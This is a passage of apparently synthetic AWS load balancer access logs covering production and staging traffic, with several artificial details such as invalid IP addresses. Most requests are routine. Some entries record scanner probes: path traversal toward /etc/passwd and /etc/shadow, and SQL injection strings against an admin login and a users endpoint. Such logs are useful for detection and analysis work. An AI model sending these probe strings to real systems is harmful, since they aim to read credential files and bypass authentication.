arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc02-f073a7fcb5834a5a82aa0a52" "-" "-" 3 2024-11-01T02:35:30.717043Z "forward" "-" "-" "10.0.94.229:443" "403" "-" "-" -https 2024-11-01T02:35:32.146012Z staging-alb 63.102.79.251:25761 80.166.57.91:8080 0.107259 0.162669 0.028895 404 404 151 12101 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc04-361f9f4e3ce2487bb58f8853" "staging-alb.example.com" "-" 8 2024-11-01T02:35:32.146012Z "forward" "-" "-" "80.166.57.91:8080" "404" "-" "-" -https 2024-11-01T02:35:32.264181Z prod-web-alb 195.97.0.210:61951 10.0.135.187:443 0.030389 0.034882 0.043865 301 301 211 266 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc04-c8eed3b6535b4c398c31d6b1" "prod-web-alb.example.com" "-" 2 2024-11-01T02:35:32.264181Z "forward" "-" "-" "10.0.135.187:443" "301" "-" "-" -https 2024-11-01T02:35:33.689563Z prod-api-alb 235.107.129.84:49769 10.0.104.95:443 0.059459 0.157931 0.026812 301 301 566 3140 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc05-fb6d80f01b00431094ec65cb" "prod-api-alb.example.com" "-" 2 2024-11-01T02:35:33.689563Z "forward" "-" "-" "10.0.104.95:443" "301" "-" "-" -https 2024-11-01T02:35:34.266896Z prod-api-alb 202.143.237.195:18769 10.0.82.164:443 0.058126 0.130644 0.017033 404 404 89 13818 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc06-d6e7c96b1988485b870704dd" "prod-api-alb.example.com" "-" 1 2024-11-01T02:35:34.266896Z "forward" "-" "-" "10.0.82.164:443" "404" "-" "-" -https 2024-11-01T02:35:34.574252Z prod-api-alb 193.27.228.26:10727 10.0.82.239:443 0.086371 0.392004 0.025380 404 404 547 2423 "GET /../../../etc/passwd HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc06-5aa92991b6984db58d617f28" "-" "-" 0 2024-11-01T02:35:34.574252Z "forward" "-" "-" "10.0.82.239:443" "404" "-" "-" -https 2024-11-01T02:35:34.750877Z prod-api-alb 205.165.17.237:25708 10.0.169.135:443 0.003946 0.319664 0.019562 302 302 167 7791 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc06-095991e97df14bd88bd3fad0" "prod-api-alb.example.com" "-" 5 2024-11-01T02:35:34.750877Z "forward" "-" "-" "10.0.169.135:443" "302" "-" "-" -https 2024-11-01T02:35:35.820772Z prod-api-alb 47.35.168.114:43619 10.0.73.15:443 0.033614 0.484707 0.081437 301 301 450 3045 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc07-61537720771744babf602011" "prod-api-alb.example.com" "-" 5 2024-11-01T02:35:35.820772Z "forward" "-" "-" "10.0.73.15:443" "301" "-" "-" -https 2024-11-01T02:35:37.672080Z prod-web-alb 61.36.10.58:36142 10.0.228.36:443 0.009869 0.085904 0.049845 404 404 420 13416 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc09-6af18d7f0c9a4a4ea00e7b15" "prod-web-alb.example.com" "-" 1 2024-11-01T02:35:37.672080Z "forward" "-" "-" "10.0.228.36:443" "404" "-" "-" -https 2024-11-01T02:35:38.306096Z prod-api-alb 45.155.205.16:54170 10.0.67.235:443 0.044359 0.349046 0.054953 200 200 915 2429 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc0a-e3be79ed6f3f4d02b03bd2d5" "-" "-" 6 2024-11-01T02:35:38.306096Z "forward" "-" "-" "10.0.67.235:443" "200" "-" "-" -https 2024-11-01T02:35:39.660719Z prod-api-alb 89.232.232.29:15599 10.0.125.66:443 0.073863 0.407513 0.029205 200 200 178 9302 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc0b-fae9f812cf424763a094cf02" "-" "-" 5 2024-11-01T02:35:39.660719Z "forward" "-" "-" "10.0.125.66:443" "200" "-" "-" -https 2024-11-01T02:35:39.932032Z prod-api-alb 40.37.237.200:64317 10.0.202.209:443 0.075379 0.302853 0.007813 200 200 140 1454 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc0b-57b34824cceb49b98284ecea" "prod-api-alb.example.com" "-" 7 2024-11-01T02:35:39.932032Z "forward" "-" "-" "10.0.202.209:443" "200" "-" "-" -https 2024-11-01T02:35:41.091785Z prod-api-alb 117.160.184.42:43458 10.0.3.27:443 0.098538 0.006264 0.023296 200 200 8 5299 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc0d-d0ae2cda1f4f496d8d8ed4b0" "prod-api-alb.example.com" "-" 3 2024-11-01T02:35:41.091785Z "forward" "-" "-" "10.0.3.27:443" "200" "-" "-" -https 2024-11-01T02:35:41.463580Z prod-web-alb 101.102.164.64:24553 10.0.209.216:443 0.069671 0.427287 0.057985 200 200 687 499 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc0d-f8273b2c6b464d1da190d8e0" "prod-web-alb.example.com" "-" 5 2024-11-01T02:35:41.463580Z "forward" "-" "-" "10.0.209.216:443" "200" "-" "-" -https 2024-11-01T02:35:41.690969Z prod-api-alb 221.97.246.6:42567 10.0.253.119:443 0.016210 0.153924 0.070781 404 404 198 1601 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc0d-f01727f3c9fd4eb7a421b4d6" "prod-api-alb.example.com" "-" 0 2024-11-01T02:35:41.690969Z "forward" "-" "-" "10.0.253.119:443" "404" "-" "-" -http 2024-11-01T02:35:41.976032Z staging-alb 41.22.252.248:64970 23.13.237.81:80 0.130047 0.037379 0.072330 200 200 434 12107 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc0d-6a94e8d0008e40b3a3b457b2" "staging-alb.example.com" "-" 1 2024-11-01T02:35:41.976032Z "forward" "-" "-" "23.13.237.81:80" "200" "-" "-" -https 2024-11-01T02:35:43.579214Z staging-alb 196.114.194.78:48501 149.205.188.246:80 0.056475 0.489142 0.092430 404 404 816 10991 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc0f-3a165da051dc4361a041f525" "staging-alb.example.com" "-" 4 2024-11-01T02:35:43.579214Z "forward" "-" "-" "149.205.188.246:80" "404" "-" "-" -https 2024-11-01T02:35:44.725031Z prod-web-alb 125.66.105.32:17774 10.0.237.167:443 0.041433 0.330141 0.082207 200 200 691 5319 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc10-fc1702340139499c826e639a" "prod-web-alb.example.com" "-" 8 2024-11-01T02:35:44.725031Z "forward" "-" "-" "10.0.237.167:443" "200" "-" "-" -https 2024-11-01T02:35:45.867771Z prod-api-alb 45.155.205.14:10032 10.0.44.223:443 0.056613 0.129240 0.030854 404 404 686 14532 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "Acunetix-Agent" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc11-888fbde6f445475fb43cf6d0" "-" "-" 1 2024-11-01T02:35:45.867771Z "forward" "-" "-" "10.0.44.223:443" "404" "-" "-" -https 2024-11-01T02:35:46.396630Z staging-alb 204.107.144.159:47289 51.116.163.65:443 0.115591 0.594897 0.092614 200 200 627 8594 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc12-e140551f4ce049089a06975c" "staging-alb.example.com" "-" 4 2024-11-01T02:35:46.396630Z "forward" "-" "-" "51.116.163.65:443" "200" "-" "-" -https 2024-11-01T02:35:47.202202Z prod-web-alb 121.202.239.209:37507 10.0.49.241:443 0.050443 0.036950 0.071549 200 200 174 5024 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc13-656880766a1d4098a58f7675" "prod-web-alb.example.com" "-" 2 2024-11-01T02:35:47.202202Z "forward" "-" "-" "10.0.49.241:443" "200" "-" "-" -https 2024-11-01T02:35:48.826705Z prod-web-alb 49.128.32.70:63432 10.0.224.103:443 0.086188 0.297780 0.090909 301 301 5 13864 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc14-194eb207aa46412d9c5fc6c8" "prod-web-alb.example.com" "-" 2 2024-11-01T02:35:48.826705Z "forward" "-" "-" "10.0.224.103:443" "301" "-" "-" -https 2024-11-01T02:35:49.693579Z prod-api-alb 250.198.205.64:49593 10.0.137.3:443 0.017824 0.258572 0.049432 404 404 388 724 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc15-125cc14de34d4704a6369414" "prod-api-alb.example.com" "-" 9 2024-11-01T02:35:49.693579Z "forward" "-" "-" "10.0.137.3:443" "404" "-" "-" -https 2024-11-01T02:35:50.532413Z prod-web-alb 194.133.11.208:40142 10.0.239.102:443 0.098642 0.214654 0.064833 301 301 168 5569 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc16-7825d2b9dfab4aeba10dc612" "prod-web-alb.example.com" "-" 5 2024-11-01T02:35:50.532413Z "forward" "-" "-" "10.0.239.102:443" "301" "-" "-" -https 2024-11-01T02:35:51.074495Z prod-web-alb 161.92.183.160:43314 10.0.27.68:443 0.012917 0.433531 0.093171 200 200 952 7387 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc17-9ed754415b664d778162d9a5" "prod-web-alb.example.com" "-" 3 2024-11-01T02:35:51.074495Z "forward" "-" "-" "10.0.27.68:443" "200" "-" "-" -https 2024-11-01T02:35:52.549203Z prod-web-alb 228.52.243.196:47134 10.0.109.190:443 0.074403 0.090655 0.056029 301 301 245 6331 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc18-40a1794eea454928a8985704" "prod-web-alb.example.com" "-" 1 2024-11-01T02:35:52.549203Z "forward" "-" "-" "10.0.109.190:443" "301" "-" "-" -https 2024-11-01T02:35:53.899611Z prod-web-alb 121.104.120.125:38084 10.0.109.228:443 0.095274 0.464066 0.042617 200 200 561 5330 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc19-88a158e886a54122827b35c3" "prod-web-alb.example.com" "-" 0 2024-11-01T02:35:53.899611Z "forward" "-" "-" "10.0.109.228:443" "200" "-" "-" -https 2024-11-01T02:35:54.557702Z prod-api-alb 46.141.90.225:34620 10.0.233.172:443 0.047729 0.078985 0.002691 200 200 639 3335 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc1a-f66e529adad54b118946c0ab" "-" "-" 4 2024-11-01T02:35:54.557702Z "forward" "-" "-" "10.0.233.172:443" "200" "-" "-" -https 2024-11-01T02:35:56.240610Z staging-alb 27.113.221.31:11948 157.246.32.223:8080 0.069244 0.700714 0.101178 200 200 608 9278 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc1c-fdb0d005fd0a4e4a986e1b99" "staging-alb.example.com" "-" 0 2024-11-01T02:35:56.240610Z "forward" "-" "-" "157.246.32.223:8080" "200" "-" "-" -http 2024-11-01T02:35:56.425017Z staging-alb 129.45.30.138:29400 34.231.102.232:80 0.125127 0.037043 0.147955 302 302 104 6937 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc1c-6c2cb1ca59514ce2a09681ae" "staging-alb.example.com" "-" 8 2024-11-01T02:35:56.425017Z "forward" "-" "-" "34.231.102.232:80" "302" "-" "-" -https 2024-11-01T02:35:58.086061Z prod-web-alb 150.179.234.88:43738 10.0.71.72:443 0.081019 0.092173 0.008871 200 200 273 13399 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc1e-1f9de1f1a1be487a8ec4adb7" "prod-web-alb.example.com" "-" 4 2024-11-01T02:35:58.086061Z "forward" "-" "-" "10.0.71.72:443" "200" "-" "-" -https 2024-11-01T02:35:59.476581Z prod-web-alb 248.14.227.96:53470 10.0.19.2:443 0.000901 0.060555 0.000142 200 200 963 3814 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc1f-ede5af76bff04abd93593f4d" "prod-web-alb.example.com" "-" 2 2024-11-01T02:35:59.476581Z "forward" "-" "-" "10.0.19.2:443" "200" "-" "-" -https 2024-11-01T02:36:00.042547Z prod-api-alb 185.181.187.26:20154 10.0.179.4:443 0.085013 0.487208 0.030295 403 403 44 2075 "GET /admin HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc20-82449e7b7b844e23b5d2522a" "-" "-" 2 2024-11-01T02:36:00.042547Z "forward" "-" "-" "10.0.179.4:443" "403" "-" "-" -https 2024-11-01T02:36:01.019069Z prod-api-alb 85.126.127.16:63391 10.0.11.107:443 0.090821 0.342071 0.030254 200 200 842 13418 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc21-fb46105e3e6a419fb4abb9dc" "prod-api-alb.example.com" "-" 4 2024-11-01T02:36:01.019069Z "forward" "-" "-" "10.0.11.107:443" "200" "-" "-" -https 2024-11-01T02:36:02.386269Z prod-web-alb 188.229.148.113:50932 10.0.106.170:443 0.000237 0.453518 0.050416 404 404 882 11515 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc22-4a58e31e0d3a49e998150484" "prod-web-alb.example.com" "-" 4 2024-11-01T02:36:02.386269Z "forward" "-" "-" "10.0.106.170:443" "404" "-" "-" -https 2024-11-01T02:36:03.620428Z prod-web-alb 45.155.205.147:12611 10.0.189.184:443 0.019185 0.056434 0.088408 404 404 660 3675 "GET /images/../../../../etc/shadow HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc23-d989f9406eb44087a2d1b6e6" "-" "-" 9 2024-11-01T02:36:03.620428Z "forward" "-" "-" "10.0.189.184:443" "404" "-" "-" -https 2024-11-01T02:36:04.739361Z prod-api-alb 117.1.170.205:54876 10.0.223.199:443 0.072555 0.070976 0.079893 200 200 753 13917 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc24-fc22071113b545d4acb58e19" "prod-api-alb.example.com" "-" 6 2024-11-01T02:36:04.739361Z "forward" "-" "-" "10.0.223.199:443" "200" "-" "-" -https 2024-11-01T02:36:06.451916Z prod-web-alb 250.7.164.63:26289 10.0.221.198:443 0.028117 0.202681 0.066122 200 200 425 14338 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc26-92d8d177d6d94267b9ee69f7" "prod-web-alb.example.com" "-" 0 2024-11-01T02:36:06.451916Z "forward" "-" "-" "10.0.221.198:443" "200" "-" "-" -http 2024-11-01T02:36:07.538305Z staging-alb 144.131.72.141:13344 250.25.63.31:80 0.027580 0.030134 0.098333 200 200 139 4726 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc27-76de86b8189547d8adfcd311" "staging-alb.example.com" "-" 9 2024-11-01T02:36:07.538305Z "forward" "-" "-" "250.25.63.31:80" "200" "-" "-" -https 2024-11-01T02:36:07.848145Z prod-web-alb 139.128.106.24:32126 10.0.146.96:443 0.017896 0.063290 0.040859 200 200 492 8983 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc27-914c43399aca4f15aa61395e" "prod-web-alb.example.com" "-" 0 2024-11-01T02:36:07.848145Z "forward" "-" "-" "10.0.146.96:443" "200" "-" "-" -https 2024-11-01T02:36:09.355733Z staging-alb 193.27.228.128:26906 72.226.225.172:443 0.077648 0.661200 0.090749 200 200 82 9254 "POST /users?id=1 OR 1=1 HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc29-049974c9cfb8498e8954820e" "-" "-" 0 2024-11-01T02:36:09.355733Z "forward" "-" "-" "72.226.225.172:443" "200" "-" "-" -https 2024-11-01T02:36:09.958130Z prod-web-alb 115.176.171.104:44528 10.0.41.52:443 0.037574 0.261937 0.064446 302 302 218 9940 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc29-2f15a9c13f8543fd9f94ee2e" "prod-web-alb.example.com" "-" 8 2024-11-01T02:36:09.958130Z "forward" "-" "-" "10.0.41.52:443" "302" "-" "-" -http 2024-11-01T02:36:11.240762Z staging-alb 155.49.12.141:36672 255.9.59.30:443 0.092623 0.345325 0.085800 200 200 849 6463 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc2b-1f00b6514ae54ad7bffe9a0c" "staging-alb.example.com" "-" 4 2024-11-01T02:36:11.240762Z "forward" "-" "-" "255.9.59.30:443" "200" "-" "-" -http 2024-11-01T02:36:11.528919Z staging-alb 141.90.196.36:62742 164.196.42.37:443 0.019175 0.016163 0.086305 404 404 714 11318 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc2b-735a63ed45824a5ca2ccd49f" "staging-alb.example.com" "-" 6 2024-11-01T02:36:11.528919Z "forward" "-" "-" "164.196.42.37:443" "404" "-" "-" -https 2024-11-01T02:36:13.172813Z prod-web-alb 85.166.169.33:30937 10.0.252.116:443 0.092718 0.365887 0.004459 200 200 397 11021 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc2d-0fd729d494fb4d16ae2585be" "prod-web-alb.example.com" "-" 9 2024-11-01T02:36:13.172813Z "forward" "-" "-" "10.0.252.116:443" "200" "-" "-" -http 2024-11-01T02:36:14.034506Z staging-alb 162.25.14.43:25982 63.212.189.78:443 0.082545 0.028811 0.011713 404 404 243 8784 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc2e-4fbb5efbb8eb4b52a6a96d93" "staging-alb.example.com" "-" 6 2024-11-01T02:36:14.034506Z "forward" "-" "-" "63.212.189.78:443" "404" "-" "-" -http 2024-11-01T02:36:14.646138Z staging-alb 26.207.179.14:60225 248.2.21.75:8080 0.060912 0.713196 0.080364 200 200 700 11288 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc2e-600cab4f8a274072bbcb451b" "staging-alb.example.com" "-" 3 2024-11-01T02:36:14.646138Z "forward" "-" "-" "248.2.21.75:8080" "200" "-" "-" -https 2024-11-01T02:36:15.514813Z prod-web-alb 69.242.210.146:52010 10.0.146.108:443 0.039963 0.145501 0.071113 200 200 853 10689 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc2f-120bb35194484d91b68e9cb5" "prod-web-alb.example.com" "-" 4 2024-11-01T02:36:15.514813Z "forward" "-" "-" "10.0.146.108:443" "200" "-" "-" -https 2024-11-01T02:36:16.133018Z prod-api-alb 170.130.131.229:35814 10.0.202.143:443 0.093271 0.009764 0.057231 301 301 455 14231 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc30-fdcf96f3f1184b7dbc7f4604" "prod-api-alb.example.com" "-" 0 2024-11-01T02:36:16.133018Z "forward" "-" "-" "10.0.202.143:443" "301" "-" "-" -https 2024-11-01T02:36:16.342755Z prod-web-alb 243.23.8.104:48447 10.0.19.64:443 0.068184 0.125554 0.074109 200 200 158 12202 "GET 